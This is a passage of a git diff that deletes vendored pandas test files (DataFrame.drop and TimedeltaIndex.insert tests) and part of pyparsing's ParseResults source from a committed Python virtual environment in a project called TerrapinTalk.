-        (r"labels \[4\] not found in level", 4, "a"),
-        (r"labels \[7\] not found in level", 7, "b"),
-    ],
-)
-def test_drop_raise_exception_if_labels_not_in_level(msg, labels, level):
-    # GH 8594
-    mi = MultiIndex.from_arrays([[1, 2, 3], [4, 5, 6]], names=["a", "b"])
-    s = Series([10, 20, 30], index=mi)
-    df = DataFrame([10, 20, 30], index=mi)
-
-    with pytest.raises(KeyError, match=msg):
-        s.drop(labels, level=level)
-    with pytest.raises(KeyError, match=msg):
-        df.drop(labels, level=level)
-
-
-@pytest.mark.parametrize("labels,level", [(4, "a"), (7, "b")])
-def test_drop_errors_ignore(labels, level):
-    # GH 8594
-    mi = MultiIndex.from_arrays([[1, 2, 3], [4, 5, 6]], names=["a", "b"])
-    s = Series([10, 20, 30], index=mi)
-    df = DataFrame([10, 20, 30], index=mi)
-
-    expected_s = s.drop(labels, level=level, errors="ignore")
-    tm.assert_series_equal(s, expected_s)
-
-    expected_df = df.drop(labels, level=level, errors="ignore")
-    tm.assert_frame_equal(df, expected_df)
-
-
-def test_drop_with_non_unique_datetime_index_and_invalid_keys():
-    # GH 30399
-
-    # define dataframe with unique datetime index
-    df = DataFrame(
-        np.random.default_rng(2).standard_normal((5, 3)),
-        columns=["a", "b", "c"],
-        index=pd.date_range("2012", freq="H", periods=5),
-    )
-    # create dataframe with non-unique datetime index
-    df = df.iloc[[0, 2, 2, 3]].copy()
-
-    with pytest.raises(KeyError, match="not found in axis"):
-        df.drop(["a", "b"])  # Dropping with labels not exist in the index
-
-
-class TestDataFrameDrop:
-    def test_drop_names(self):
-        df = DataFrame(
-            [[1, 2, 3], [3, 4, 5], [5, 6, 7]],
-            index=["a", "b", "c"],
-            columns=["d", "e", "f"],
-        )
-        df.index.name, df.columns.name = "first", "second"
-        df_dropped_b = df.drop("b")
-        df_dropped_e = df.drop("e", axis=1)
-        df_inplace_b, df_inplace_e = df.copy(), df.copy()
-        return_value = df_inplace_b.drop("b", inplace=True)
-        assert return_value is None
-        return_value = df_inplace_e.drop("e", axis=1, inplace=True)
-        assert return_value is None
-        for obj in (df_dropped_b, df_dropped_e, df_inplace_b, df_inplace_e):
-            assert obj.index.name == "first"
-            assert obj.columns.name == "second"
-        assert list(df.columns) == ["d", "e", "f"]
-
-        msg = r"\['g'\] not found in axis"
-        with pytest.raises(KeyError, match=msg):
-            df.drop(["g"])
-        with pytest.raises(KeyError, match=msg):
-            df.drop(["g"], axis=1)
-
-        # errors = 'ignore'
-        dropped = df.drop(["g"], errors="ignore")
-        expected = Index(["a", "b", "c"], name="first")
-        tm.assert_index_equal(dropped.index, expected)
-
-        dropped = df.drop(["b", "g"], errors="ignore")
-        expected = Index(["a", "c"], name="first")
-        tm.assert_index_equal(dropped.index, expected)
-
-        dropped = df.drop(["g"], axis=1, errors="ignore")
-        expected = Index(["d", "e", "f"], name="second")
-        tm.assert_index_equal(dropped.columns, expected)
-
-        dropped = df.drop(["d", "g"], axis=1, errors="ignore")
-        expected = Index(["e", "f"], name="second")
-        tm.assert_index_equal(dropped.columns, expected)
-
-        # GH 16398
-        dropped = df.drop([], errors="ignore")
-        expected = Index(["a", "b", "c"], name="first")
-        tm.assert_index_equal(dropped.index, expected)
-
-    def test_drop(self):
-        simple = DataFrame({"A": [1, 2, 3, 4], "B": [0, 1, 2, 3]})
-        tm.assert_frame_equal(simple.drop("A", axis=1), simple[["B"]])
-        tm.assert_frame_equal(simple.drop(["A", "B"], axis="columns"), simple[[]])
-        tm.assert_frame_equal(simple.drop([0, 1, 3], axis=0), simple.loc[[2], :])
-        tm.assert_frame_equal(simple.drop([0, 3], axis="index"), simple.loc[[1, 2], :])
-
-        with pytest.raises(KeyError, match=r"\[5\] not found in axis"):
-            simple.drop(5)
-        with pytest.raises(KeyError, match=r"\['C'\] not found in axis"):
-            simple.drop("C", axis=1)
-        with pytest.raises(KeyError, match=r"\[5\] not found in axis"):
-            simple.drop([1, 5])
-        with pytest.raises(KeyError, match=r"\['C'\] not found in axis"):
-            simple.drop(["A", "C"], axis=1)
-
-        # GH 42881
-        with pytest.raises(KeyError, match=r"\['C', 'D', 'F'\] not found in axis"):
-            simple.drop(["C", "D", "F"], axis=1)
-
-        # errors = 'ignore'
-        tm.assert_frame_equal(simple.drop(5, errors="ignore"), simple)
-        tm.assert_frame_equal(
-            simple.drop([0, 5], errors="ignore"), simple.loc[[1, 2, 3], :]
-        )
-        tm.assert_frame_equal(simple.drop("C", axis=1, errors="ignore"), simple)
-        tm.assert_frame_equal(
-            simple.drop(["A", "C"], axis=1, errors="ignore"), simple[["B"]]
-        )
-
-        # non-unique - wheee!
-        nu_df = DataFrame(
-            list(zip(range(3), range(-3, 1), list("abc"))), columns=["a", "a", "b"]
-        )
-        tm.assert_frame_equal(nu_df.drop("a", axis=1), nu_df[["b"]])
-        tm.assert_frame_equal(nu_df.drop("b", axis="columns"), nu_df["a"])
-        tm.assert_frame_equal(nu_df.drop([]), nu_df)  # GH 16398
-
-        nu_df = nu_df.set_index(Index(["X", "Y", "X"]))
-        nu_df.columns = list("abc")
-        tm.assert_frame_equal(nu_df.drop("X", axis="rows"), nu_df.loc[["Y"], :])
-        tm.assert_frame_equal(nu_df.drop(["X", "Y"], axis=0), nu_df.loc[[], :])
-
-        # inplace cache issue
-        # GH#5628
-        df = DataFrame(
-            np.random.default_rng(2).standard_normal((10, 3)), columns=list("abc")
-        )
-        expected = df[~(df.b > 0)]
-        return_value = df.drop(labels=df[df.b > 0].index, inplace=True)
-        assert return_value is None
-        tm.assert_frame_equal(df, expected)
-
-    def test_drop_multiindex_not_lexsorted(self):
-        # GH#11640
-
-        # define the lexsorted version
-        lexsorted_mi = MultiIndex.from_tuples(
-            [("a", ""), ("b1", "c1"), ("b2", "c2")], names=["b", "c"]
-        )
-        lexsorted_df = DataFrame([[1, 3, 4]], columns=lexsorted_mi)
-        assert lexsorted_df.columns._is_lexsorted()
-
-        # define the non-lexsorted version
-        not_lexsorted_df = DataFrame(
-            columns=["a", "b", "c", "d"], data=[[1, "b1", "c1", 3], [1, "b2", "c2", 4]]
-        )
-        not_lexsorted_df = not_lexsorted_df.pivot_table(
-            index="a", columns=["b", "c"], values="d"
-        )
-        not_lexsorted_df = not_lexsorted_df.reset_index()
-        assert not not_lexsorted_df.columns._is_lexsorted()
-
-        expected = lexsorted_df.drop("a", axis=1).astype(float)
-        with tm.assert_produces_warning(PerformanceWarning):
-            result = not_lexsorted_df.drop("a", axis=1)
-
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_api_equivalence(self):
-        # equivalence of the labels/axis and index/columns API's (GH#12392)
-        df = DataFrame(
-            [[1, 2, 3], [3, 4, 5], [5, 6, 7]],
-            index=["a", "b", "c"],
-            columns=["d", "e", "f"],
-        )
-
-        res1 = df.drop("a")
-        res2 = df.drop(index="a")
-        tm.assert_frame_equal(res1, res2)
-
-        res1 = df.drop("d", axis=1)
-        res2 = df.drop(columns="d")
-        tm.assert_frame_equal(res1, res2)
-
-        res1 = df.drop(labels="e", axis=1)
-        res2 = df.drop(columns="e")
-        tm.assert_frame_equal(res1, res2)
-
-        res1 = df.drop(["a"], axis=0)
-        res2 = df.drop(index=["a"])
-        tm.assert_frame_equal(res1, res2)
-
-        res1 = df.drop(["a"], axis=0).drop(["d"], axis=1)
-        res2 = df.drop(index=["a"], columns=["d"])
-        tm.assert_frame_equal(res1, res2)
-
-        msg = "Cannot specify both 'labels' and 'index'/'columns'"
-        with pytest.raises(ValueError, match=msg):
-            df.drop(labels="a", index="b")
-
-        with pytest.raises(ValueError, match=msg):
-            df.drop(labels="a", columns="b")
-
-        msg = "Need to specify at least one of 'labels', 'index' or 'columns'"
-        with pytest.raises(ValueError, match=msg):
-            df.drop(axis=1)
-
-    data = [[1, 2, 3], [1, 2, 3]]
-
-    @pytest.mark.parametrize(
-        "actual",
-        [
-            DataFrame(data=data, index=["a", "a"]),
-            DataFrame(data=data, index=["a", "b"]),
-            DataFrame(data=data, index=["a", "b"]).set_index([0, 1]),
-            DataFrame(data=data, index=["a", "a"]).set_index([0, 1]),
-        ],
-    )
-    def test_raise_on_drop_duplicate_index(self, actual):
-        # GH#19186
-        level = 0 if isinstance(actual.index, MultiIndex) else None
-        msg = re.escape("\"['c'] not found in axis\"")
-        with pytest.raises(KeyError, match=msg):
-            actual.drop("c", level=level, axis=0)
-        with pytest.raises(KeyError, match=msg):
-            actual.T.drop("c", level=level, axis=1)
-        expected_no_err = actual.drop("c", axis=0, level=level, errors="ignore")
-        tm.assert_frame_equal(expected_no_err, actual)
-        expected_no_err = actual.T.drop("c", axis=1, level=level, errors="ignore")
-        tm.assert_frame_equal(expected_no_err.T, actual)
-
-    @pytest.mark.parametrize("index", [[1, 2, 3], [1, 1, 2]])
-    @pytest.mark.parametrize("drop_labels", [[], [1], [2]])
-    def test_drop_empty_list(self, index, drop_labels):
-        # GH#21494
-        expected_index = [i for i in index if i not in drop_labels]
-        frame = DataFrame(index=index).drop(drop_labels)
-        tm.assert_frame_equal(frame, DataFrame(index=expected_index))
-
-    @pytest.mark.parametrize("index", [[1, 2, 3], [1, 2, 2]])
-    @pytest.mark.parametrize("drop_labels", [[1, 4], [4, 5]])
-    def test_drop_non_empty_list(self, index, drop_labels):
-        # GH# 21494
-        with pytest.raises(KeyError, match="not found in axis"):
-            DataFrame(index=index).drop(drop_labels)
-
-    @pytest.mark.parametrize(
-        "empty_listlike",
-        [
-            [],
-            {},
-            np.array([]),
-            Series([], dtype="datetime64[ns]"),
-            Index([]),
-            DatetimeIndex([]),
-        ],
-    )
-    def test_drop_empty_listlike_non_unique_datetime_index(self, empty_listlike):
-        # GH#27994
-        data = {"column_a": [5, 10], "column_b": ["one", "two"]}
-        index = [Timestamp("2021-01-01"), Timestamp("2021-01-01")]
-        df = DataFrame(data, index=index)
-
-        # Passing empty list-like should return the same DataFrame.
-        expected = df.copy()
-        result = df.drop(empty_listlike)
-        tm.assert_frame_equal(result, expected)
-
-    def test_mixed_depth_drop(self):
-        arrays = [
-            ["a", "top", "top", "routine1", "routine1", "routine2"],
-            ["", "OD", "OD", "result1", "result2", "result1"],
-            ["", "wx", "wy", "", "", ""],
-        ]
-
-        tuples = sorted(zip(*arrays))
-        index = MultiIndex.from_tuples(tuples)
-        df = DataFrame(np.random.default_rng(2).standard_normal((4, 6)), columns=index)
-
-        result = df.drop("a", axis=1)
-        expected = df.drop([("a", "", "")], axis=1)
-        tm.assert_frame_equal(expected, result)
-
-        result = df.drop(["top"], axis=1)
-        expected = df.drop([("top", "OD", "wx")], axis=1)
-        expected = expected.drop([("top", "OD", "wy")], axis=1)
-        tm.assert_frame_equal(expected, result)
-
-        result = df.drop(("top", "OD", "wx"), axis=1)
-        expected = df.drop([("top", "OD", "wx")], axis=1)
-        tm.assert_frame_equal(expected, result)
-
-        expected = df.drop([("top", "OD", "wy")], axis=1)
-        expected = df.drop("top", axis=1)
-
-        result = df.drop("result1", level=1, axis=1)
-        expected = df.drop(
-            [("routine1", "result1", ""), ("routine2", "result1", "")], axis=1
-        )
-        tm.assert_frame_equal(expected, result)
-
-    def test_drop_multiindex_other_level_nan(self):
-        # GH#12754
-        df = (
-            DataFrame(
-                {
-                    "A": ["one", "one", "two", "two"],
-                    "B": [np.nan, 0.0, 1.0, 2.0],
-                    "C": ["a", "b", "c", "c"],
-                    "D": [1, 2, 3, 4],
-                }
-            )
-            .set_index(["A", "B", "C"])
-            .sort_index()
-        )
-        result = df.drop("c", level="C")
-        expected = DataFrame(
-            [2, 1],
-            columns=["D"],
-            index=MultiIndex.from_tuples(
-                [("one", 0.0, "b"), ("one", np.nan, "a")], names=["A", "B", "C"]
-            ),
-        )
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_nonunique(self):
-        df = DataFrame(
-            [
-                ["x-a", "x", "a", 1.5],
-                ["x-a", "x", "a", 1.2],
-                ["z-c", "z", "c", 3.1],
-                ["x-a", "x", "a", 4.1],
-                ["x-b", "x", "b", 5.1],
-                ["x-b", "x", "b", 4.1],
-                ["x-b", "x", "b", 2.2],
-                ["y-a", "y", "a", 1.2],
-                ["z-b", "z", "b", 2.1],
-            ],
-            columns=["var1", "var2", "var3", "var4"],
-        )
-
-        grp_size = df.groupby("var1").size()
-        drop_idx = grp_size.loc[grp_size == 1]
-
-        idf = df.set_index(["var1", "var2", "var3"])
-
-        # it works! GH#2101
-        result = idf.drop(drop_idx.index, level=0).reset_index()
-        expected = df[-df.var1.isin(drop_idx.index)]
-
-        result.index = expected.index
-
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_level(self, multiindex_dataframe_random_data):
-        frame = multiindex_dataframe_random_data
-
-        result = frame.drop(["bar", "qux"], level="first")
-        expected = frame.iloc[[0, 1, 2, 5, 6]]
-        tm.assert_frame_equal(result, expected)
-
-        result = frame.drop(["two"], level="second")
-        expected = frame.iloc[[0, 2, 3, 6, 7, 9]]
-        tm.assert_frame_equal(result, expected)
-
-        result = frame.T.drop(["bar", "qux"], axis=1, level="first")
-        expected = frame.iloc[[0, 1, 2, 5, 6]].T
-        tm.assert_frame_equal(result, expected)
-
-        result = frame.T.drop(["two"], axis=1, level="second")
-        expected = frame.iloc[[0, 2, 3, 6, 7, 9]].T
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_level_nonunique_datetime(self):
-        # GH#12701
-        idx = Index([2, 3, 4, 4, 5], name="id")
-        idxdt = pd.to_datetime(
-            [
-                "2016-03-23 14:00",
-                "2016-03-23 15:00",
-                "2016-03-23 16:00",
-                "2016-03-23 16:00",
-                "2016-03-23 17:00",
-            ]
-        )
-        df = DataFrame(np.arange(10).reshape(5, 2), columns=list("ab"), index=idx)
-        df["tstamp"] = idxdt
-        df = df.set_index("tstamp", append=True)
-        ts = Timestamp("201603231600")
-        assert df.index.is_unique is False
-
-        result = df.drop(ts, level="tstamp")
-        expected = df.loc[idx != 4]
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_tz_aware_timestamp_across_dst(self, frame_or_series):
-        # GH#21761
-        start = Timestamp("2017-10-29", tz="Europe/Berlin")
-        end = Timestamp("2017-10-29 04:00:00", tz="Europe/Berlin")
-        index = pd.date_range(start, end, freq="15min")
-        data = frame_or_series(data=[1] * len(index), index=index)
-        result = data.drop(start)
-        expected_start = Timestamp("2017-10-29 00:15:00", tz="Europe/Berlin")
-        expected_idx = pd.date_range(expected_start, end, freq="15min")
-        expected = frame_or_series(data=[1] * len(expected_idx), index=expected_idx)
-        tm.assert_equal(result, expected)
-
-    def test_drop_preserve_names(self):
-        index = MultiIndex.from_arrays(
-            [[0, 0, 0, 1, 1, 1], [1, 2, 3, 1, 2, 3]], names=["one", "two"]
-        )
-
-        df = DataFrame(np.random.default_rng(2).standard_normal((6, 3)), index=index)
-
-        result = df.drop([(0, 2)])
-        assert result.index.names == ("one", "two")
-
-    @pytest.mark.parametrize(
-        "operation", ["__iadd__", "__isub__", "__imul__", "__ipow__"]
-    )
-    @pytest.mark.parametrize("inplace", [False, True])
-    def test_inplace_drop_and_operation(self, operation, inplace):
-        # GH#30484
-        df = DataFrame({"x": range(5)})
-        expected = df.copy()
-        df["y"] = range(5)
-        y = df["y"]
-
-        with tm.assert_produces_warning(None):
-            if inplace:
-                df.drop("y", axis=1, inplace=inplace)
-            else:
-                df = df.drop("y", axis=1, inplace=inplace)
-
-            # Perform operation and check result
-            getattr(y, operation)(1)
-            tm.assert_frame_equal(df, expected)
-
-    def test_drop_with_non_unique_multiindex(self):
-        # GH#36293
-        mi = MultiIndex.from_arrays([["x", "y", "x"], ["i", "j", "i"]])
-        df = DataFrame([1, 2, 3], index=mi)
-        result = df.drop(index="x")
-        expected = DataFrame([2], index=MultiIndex.from_arrays([["y"], ["j"]]))
-        tm.assert_frame_equal(result, expected)
-
-    @pytest.mark.parametrize("indexer", [("a", "a"), [("a", "a")]])
-    def test_drop_tuple_with_non_unique_multiindex(self, indexer):
-        # GH#42771
-        idx = MultiIndex.from_product([["a", "b"], ["a", "a"]])
-        df = DataFrame({"x": range(len(idx))}, index=idx)
-        result = df.drop(index=[("a", "a")])
-        expected = DataFrame(
-            {"x": [2, 3]}, index=MultiIndex.from_tuples([("b", "a"), ("b", "a")])
-        )
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_with_duplicate_columns(self):
-        df = DataFrame(
-            [[1, 5, 7.0], [1, 5, 7.0], [1, 5, 7.0]], columns=["bar", "a", "a"]
-        )
-        result = df.drop(["a"], axis=1)
-        expected = DataFrame([[1], [1], [1]], columns=["bar"])
-        tm.assert_frame_equal(result, expected)
-        result = df.drop("a", axis=1)
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_with_duplicate_columns2(self):
-        # drop buggy GH#6240
-        df = DataFrame(
-            {
-                "A": np.random.default_rng(2).standard_normal(5),
-                "B": np.random.default_rng(2).standard_normal(5),
-                "C": np.random.default_rng(2).standard_normal(5),
-                "D": ["a", "b", "c", "d", "e"],
-            }
-        )
-
-        expected = df.take([0, 1, 1], axis=1)
-        df2 = df.take([2, 0, 1, 2, 1], axis=1)
-        result = df2.drop("C", axis=1)
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_inplace_no_leftover_column_reference(self):
-        # GH 13934
-        df = DataFrame({"a": [1, 2, 3]})
-        a = df.a
-        df.drop(["a"], axis=1, inplace=True)
-        tm.assert_index_equal(df.columns, Index([], dtype="object"))
-        a -= a.mean()
-        tm.assert_index_equal(df.columns, Index([], dtype="object"))
-
-    def test_drop_level_missing_label_multiindex(self):
-        # GH 18561
-        df = DataFrame(index=MultiIndex.from_product([range(3), range(3)]))
-        with pytest.raises(KeyError, match="labels \\[5\\] not found in level"):
-            df.drop(5, level=0)
-
-    @pytest.mark.parametrize("idx, level", [(["a", "b"], 0), (["a"], None)])
-    def test_drop_index_ea_dtype(self, any_numeric_ea_dtype, idx, level):
-        # GH#45860
-        df = DataFrame(
-            {"a": [1, 2, 2, pd.NA], "b": 100}, dtype=any_numeric_ea_dtype
-        ).set_index(idx)
-        result = df.drop(Index([2, pd.NA]), level=level)
-        expected = DataFrame(
-            {"a": [1], "b": 100}, dtype=any_numeric_ea_dtype
-        ).set_index(idx)
-        tm.assert_frame_equal(result, expected)
-
-    def test_drop_parse_strings_datetime_index(self):
-        # GH #5355
-        df = DataFrame(
-            {"a": [1, 2], "b": [1, 2]},
-            index=[Timestamp("2000-01-03"), Timestamp("2000-01-04")],
-        )
-        result = df.drop("2000-01-03", axis=0)
-        expected = DataFrame({"a": [2], "b": [2]}, index=[Timestamp("2000-01-04")])
-        tm.assert_frame_equal(result, expected)
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/indexes/timedeltas/methods/test_insert.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/indexes/timedeltas/methods/test_insert.py
deleted file mode 100644
index f8164102815f61ec61962524db2a2b3dd0ff6d55..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pandas/tests/indexes/timedeltas/methods/test_insert.py
+++ /dev/null
@@ -1,145 +0,0 @@
-from datetime import timedelta
-
-import numpy as np
-import pytest
-
-from pandas._libs import lib
-
-import pandas as pd
-from pandas import (
-    Index,
-    Timedelta,
-    TimedeltaIndex,
-    timedelta_range,
-)
-import pandas._testing as tm
-
-
-class TestTimedeltaIndexInsert:
-    def test_insert(self):
-        idx = TimedeltaIndex(["4day", "1day", "2day"], name="idx")
-
-        result = idx.insert(2, timedelta(days=5))
-        exp = TimedeltaIndex(["4day", "1day", "5day", "2day"], name="idx")
-        tm.assert_index_equal(result, exp)
-
-        # insertion of non-datetime should coerce to object index
-        result = idx.insert(1, "inserted")
-        expected = Index(
-            [Timedelta("4day"), "inserted", Timedelta("1day"), Timedelta("2day")],
-            name="idx",
-        )
-        assert not isinstance(result, TimedeltaIndex)
-        tm.assert_index_equal(result, expected)
-        assert result.name == expected.name
-
-        idx = timedelta_range("1day 00:00:01", periods=3, freq="s", name="idx")
-
-        # preserve freq
-        expected_0 = TimedeltaIndex(
-            ["1day", "1day 00:00:01", "1day 00:00:02", "1day 00:00:03"],
-            name="idx",
-            freq="s",
-        )
-        expected_3 = TimedeltaIndex(
-            ["1day 00:00:01", "1day 00:00:02", "1day 00:00:03", "1day 00:00:04"],
-            name="idx",
-            freq="s",
-        )
-
-        # reset freq to None
-        expected_1_nofreq = TimedeltaIndex(
-            ["1day 00:00:01", "1day 00:00:01", "1day 00:00:02", "1day 00:00:03"],
-            name="idx",
-            freq=None,
-        )
-        expected_3_nofreq = TimedeltaIndex(
-            ["1day 00:00:01", "1day 00:00:02", "1day 00:00:03", "1day 00:00:05"],
-            name="idx",
-            freq=None,
-        )
-
-        cases = [
-            (0, Timedelta("1day"), expected_0),
-            (-3, Timedelta("1day"), expected_0),
-            (3, Timedelta("1day 00:00:04"), expected_3),
-            (1, Timedelta("1day 00:00:01"), expected_1_nofreq),
-            (3, Timedelta("1day 00:00:05"), expected_3_nofreq),
-        ]
-
-        for n, d, expected in cases:
-            result = idx.insert(n, d)
-            tm.assert_index_equal(result, expected)
-            assert result.name == expected.name
-            assert result.freq == expected.freq
-
-    @pytest.mark.parametrize(
-        "null", [None, np.nan, np.timedelta64("NaT"), pd.NaT, pd.NA]
-    )
-    def test_insert_nat(self, null):
-        # GH 18295 (test missing)
-        idx = timedelta_range("1day", "3day")
-        result = idx.insert(1, null)
-        expected = TimedeltaIndex(["1day", pd.NaT, "2day", "3day"])
-        tm.assert_index_equal(result, expected)
-
-    def test_insert_invalid_na(self):
-        idx = TimedeltaIndex(["4day", "1day", "2day"], name="idx")
-
-        item = np.datetime64("NaT")
-        result = idx.insert(0, item)
-
-        expected = Index([item] + list(idx), dtype=object, name="idx")
-        tm.assert_index_equal(result, expected)
-
-        # Also works if we pass a different dt64nat object
-        item2 = np.datetime64("NaT")
-        result = idx.insert(0, item2)
-        tm.assert_index_equal(result, expected)
-
-    @pytest.mark.parametrize(
-        "item", [0, np.int64(0), np.float64(0), np.array(0), np.datetime64(456, "us")]
-    )
-    def test_insert_mismatched_types_raises(self, item):
-        # GH#33703 dont cast these to td64
-        tdi = TimedeltaIndex(["4day", "1day", "2day"], name="idx")
-
-        result = tdi.insert(1, item)
-
-        expected = Index(
-            [tdi[0], lib.item_from_zerodim(item)] + list(tdi[1:]),
-            dtype=object,
-            name="idx",
-        )
-        tm.assert_index_equal(result, expected)
-
-    def test_insert_castable_str(self):
-        idx = timedelta_range("1day", "3day")
-
-        result = idx.insert(0, "1 Day")
-
-        expected = TimedeltaIndex([idx[0]] + list(idx))
-        tm.assert_index_equal(result, expected)
-
-    def test_insert_non_castable_str(self):
-        idx = timedelta_range("1day", "3day")
-
-        result = idx.insert(0, "foo")
-
-        expected = Index(["foo"] + list(idx), dtype=object)
-        tm.assert_index_equal(result, expected)
-
-    def test_insert_empty(self):
-        # Corner case inserting with length zero doesn't raise IndexError
-        # GH#33573 for freq preservation
-        idx = timedelta_range("1 Day", periods=3)
-        td = idx[0]
-
-        result = idx[:0].insert(0, td)
-        assert result.freq == "D"
-
-        with pytest.raises(IndexError, match="loc must be an integer between"):
-            result = idx[:0].insert(1, td)
-
-        with pytest.raises(IndexError, match="loc must be an integer between"):
-            result = idx[:0].insert(-1, td)
diff --git a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pyparsing/results.py b/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pyparsing/results.py
deleted file mode 100644
index 0313049763bb09475051eff9841059fbbfa7d13f..0000000000000000000000000000000000000000
--- a/spaces/profayle/TerrapinTalk/myenv/lib/python3.9/site-packages/pyparsing/results.py
+++ /dev/null
@@ -1,796 +0,0 @@
-# results.py
-from collections.abc import (
-    MutableMapping,
-    Mapping,
-    MutableSequence,
-    Iterator,
-    Sequence,
-    Container,
-)
-import pprint
-from typing import Tuple, Any, Dict, Set, List
-
-str_type: Tuple[type, ...] = (str, bytes)
-_generator_type = type((_ for _ in ()))
-
-
-class _ParseResultsWithOffset:
-    tup: Tuple["ParseResults", int]
-    __slots__ = ["tup"]
-
-    def __init__(self, p1: "ParseResults", p2: int):
-        self.tup: Tuple[ParseResults, int] = (p1, p2)
-
-    def __getitem__(self, i):
-        return self.tup[i]
-
-    def __getstate__(self):
-        return self.tup
-
-    def __setstate__(self, *args):
-        self.tup = args[0]
-
-
-class ParseResults:
-    """Structured parse results, to provide multiple means of access to
-    the parsed data:
-
-    - as a list (``len(results)``)
-    - by list index (``results[0], results[1]``, etc.)
-    - by attribute (``results.<results_name>`` - see :class:`ParserElement.set_results_name`)
-
-    Example::
-
-        integer = Word(nums)
-        date_str = (integer.set_results_name("year") + '/'
-                    + integer.set_results_name("month") + '/'
-                    + integer.set_results_name("day"))
-        # equivalent form:
-        # date_str = (integer("year") + '/'
-        #             + integer("month") + '/'
-        #             + integer("day"))
-
-        # parse_string returns a ParseResults object
-        result = date_str.parse_string("1999/12/31")
-
-        def test(s, fn=repr):
-            print(f"{s} -> {fn(eval(s))}")
-        test("list(result)")
-        test("result[0]")
-        test("result['month']")
-        test("result.day")
-        test("'month' in result")
-        test("'minutes' in result")
-        test("result.dump()", str)
-
-    prints::
-
-        list(result) -> ['1999', '/', '12', '/', '31']
-        result[0] -> '1999'
-        result['month'] -> '12'
-        result.day -> '31'
-        'month' in result -> True
-        'minutes' in result -> False
-        result.dump() -> ['1999', '/', '12', '/', '31']
-        - day: '31'
-        - month: '12'
-        - year: '1999'
-    """
-
-    _null_values: Tuple[Any, ...] = (None, [], ())
-
-    _name: str
-    _parent: "ParseResults"
-    _all_names: Set[str]
-    _modal: bool
-    _toklist: List[Any]
-    _tokdict: Dict[str, Any]
-
-    __slots__ = (
-        "_name",
-        "_parent",
-        "_all_names",
-        "_modal",
-        "_toklist",
-        "_tokdict",
-    )
-
-    class List(list):
-        """
-        Simple wrapper class to distinguish parsed list results that should be preserved
-        as actual Python lists, instead of being converted to :class:`ParseResults`::
-
-            LBRACK, RBRACK = map(pp.Suppress, "[]")
-            element = pp.Forward()
-            item = ppc.integer
-            element_list = LBRACK + pp.DelimitedList(element) + RBRACK
-
-            # add parse actions to convert from ParseResults to actual Python collection types
-            def as_python_list(t):
-                return pp.ParseResults.List(t.as_list())
-            element_list.add_parse_action(as_python_list)
-
-            element <<= item | element_list
-
-            element.run_tests('''
-                100
-                [2,3,4]
-                [[2, 1],3,4]
-                [(2, 1),3,4]
-                (2,3,4)
-                ''', post_parse=lambda s, r: (r[0], type(r[0])))
-
-        prints::
-
-            100
-            (100, <class 'int'>)
-
-            [2,3,4]
-            ([2, 3, 4], <class 'list'>)
-
-            [[2, 1],3,4]
-            ([[2, 1], 3, 4], <class 'list'>)
-
-        (Used internally by :class:`Group` when `aslist=True`.)
-        """
-
-        def __new__(cls, contained=None):
-            if contained is None:
-                contained = []
-
-            if not isinstance(contained, list):
-                raise TypeError(
-                    f"{cls.__name__} may only be constructed with a list, not {type(contained).__name__}"
-                )
-
-            return list.__new__(cls)
-
-    def __new__(cls, toklist=None, name=None, **kwargs):
-        if isinstance(toklist, ParseResults):
-            return toklist
-        self = object.__new__(cls)
-        self._name = None
-        self._parent = None
-        self._all_names = set()
-
-        if toklist is None:
-            self._toklist = []
-        elif isinstance(toklist, (list, _generator_type)):
-            self._toklist = (
-                [toklist[:]]
-                if isinstance(toklist, ParseResults.List)
-                else list(toklist)
-            )
-        else:
-            self._toklist = [toklist]
-        self._tokdict = dict()
-        return self
-
-    # Performance tuning: we construct a *lot* of these, so keep this
-    # constructor as small and fast as possible
-    def __init__(
-        self, toklist=None, name=None, asList=True, modal=True, isinstance=isinstance
-    ):
-        self._tokdict: Dict[str, _ParseResultsWithOffset]
-        self._modal = modal
-        if name is not None and name != "":
-            if isinstance(name, int):
-                name = str(name)
-            if not modal:
-                self._all_names = {name}
-            self._name = name
-            if toklist not in self._null_values:
-                if isinstance(toklist, (str_type, type)):
-                    toklist = [toklist]
-                if asList:
-                    if isinstance(toklist, ParseResults):
-                        self[name] = _ParseResultsWithOffset(
-                            ParseResults(toklist._toklist), 0
-                        )
-                    else:
-                        self[name] = _ParseResultsWithOffset(
-                            ParseResults(toklist[0]), 0
-                        )
-                    self[name]._name = name
-                else:
-                    try:
-                        self[name] = toklist[0]
-                    except (KeyError, TypeError, IndexError):
-                        if toklist is not self:
-                            self[name] = toklist
-                        else:
-                            self._name = name
-
-    def __getitem__(self, i):
-        if isinstance(i, (int, slice)):
-            return self._toklist[i]
-        else:
-            if i not in self._all_names:
-                return self._tokdict[i][-1][0]
-            else:
-                return ParseResults([v[0] for v in self._tokdict[i]])
-
-    def __setitem__(self, k, v, isinstance=isinstance):
-        if isinstance(v, _ParseResultsWithOffset):
-            self._tokdict[k] = self._tokdict.get(k, list()) + [v]
-            sub = v[0]
-        elif isinstance(k, (int, slice)):
-            self._toklist[k] = v
-            sub = v
-        else:
-            self._tokdict[k] = self._tokdict.get(k, list()) + [
-                _ParseResultsWithOffset(v, 0)
-            ]
-            sub = v
-        if isinstance(sub, ParseResults):
-            sub._parent = self
-
-    def __delitem__(self, i):
-        if isinstance(i, (int, slice)):
-            mylen = len(self._toklist)
-            del self._toklist[i]
-
-            # convert int to slice
-            if isinstance(i, int):
-                if i < 0:
-                    i += mylen
-                i = slice(i, i + 1)
-            # get removed indices
-            removed = list(range(*i.indices(mylen)))
-            removed.reverse()
-            # fixup indices in token dictionary
-            for name, occurrences in self._tokdict.items():
-                for j in removed:
-                    for k, (value, position) in enumerate(occurrences):
-                        occurrences[k] = _ParseResultsWithOffset(
-                            value, position - (position > j)
-                        )
-        else:
-            del self._tokdict[i]
-
